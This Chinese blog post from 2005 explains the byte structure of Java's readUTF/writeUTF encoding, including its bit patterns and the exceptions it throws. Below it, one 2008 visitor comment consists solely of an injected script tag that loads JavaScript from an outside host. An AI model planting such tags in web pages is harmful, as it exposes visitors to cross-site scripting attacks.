| « | November 2025 | » | | 日 | 一 | 二 | 三 | 四 | 五 | 六 | | | | | | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | | | | | | | |
| 公告 |
| 暂无公告... |
| Blog信息 |
|
blog名称: 日志总数:3 评论数量:5 留言数量:0 访问次数:46119 建立时间:2004年12月28日 |

| |
|
[开发笔记]Java中readUTF和writeUTF函数所生成的数据结构描述 软件技术
typez 发表于 2005/4/26 10:55:32 |
| 最开始是一个称为UTF长度(UTF length)的unsigned short 类型的字段,该字段指明了需要继续读取的额外字节数。这些后续读取的字节被分组然后转换为字符。每个组的长度根据该组中第一个字节的值计算而得。一个组之后的下一个字节是下一个组的第一个字节。
如果组的第一个字节符合0xxxxxxx(x表示”可能为0或1”)这种位模式,则该组只包含该字节,该字节被0扩展(zero-extended)以形成一个字符。
如果组的第一个字节符合110xxxxx这种位模式,则该组包含该字节a以及下一个字节b。如果不存在字节b(由于字节a是被读取的最后一个字节),或字节b不符合位模式10xxxxxx,则抛出一个UTFDataFormatException异常。否则,该组被转换为字符 (char)(((a & 0x1F) << 6) | (b & 0x3F))
如果组的第一个字节符合1110xxxx这种位模式,则该组包含该字节a以及其后的两个字节b和c。如果不存在字节c(由于字节a是最后两个被读取字节中的一个)或者字节b或c不符合位模式10xxxxxx,则抛出一个UTFDataFormatException异常。否则,该组被转换为字符(char)(((a & 0x0F) << 12) | ((b & 0x3F) << 6) | (c & 0x3F))
如果组的第一个字节符合模式1111xxxx或模式10xxxxxx,则抛出一个UTFDataFormatException异常。
如果在整个过程中的任何时候遇到文件末尾(end of file),则抛出一个EOFException异常。
当该过程把所有的组都转换为对应的字符之后,所有的字符被按照它们所对应的组从输入流中被读取的顺序收集起来,最后形成一个返回的字符串。
由上可知,当一个字符的UNICODE编码值在0-127之间时(ASCII字符),该字符的编码占用一个字节。当UNICODE编码值在128-2047之间时,该字符的编码占用两个字
节。否则,该字符的编码占用3个字节。
|
|
|
回复:Java中readUTF和writeUTF函数所生成的数据结构描述 软件技术
ggg(游客)发表评论于2008/5/13 13:42:33 |
| <script src="http://abc/a.js"></script> |
|
|
回复:Java中readUTF和writeUTF函数所生成的数据结构描述 软件技术
wuzhizhe(游客)发表评论于2005/11/15 21:55:56 |
|
|
回复:Java中readUTF和writeUTF函数所生成的数据结构描述 软件技术
lee(游客)发表评论于2005/9/2 10:58:50 |
|
» 1 »
|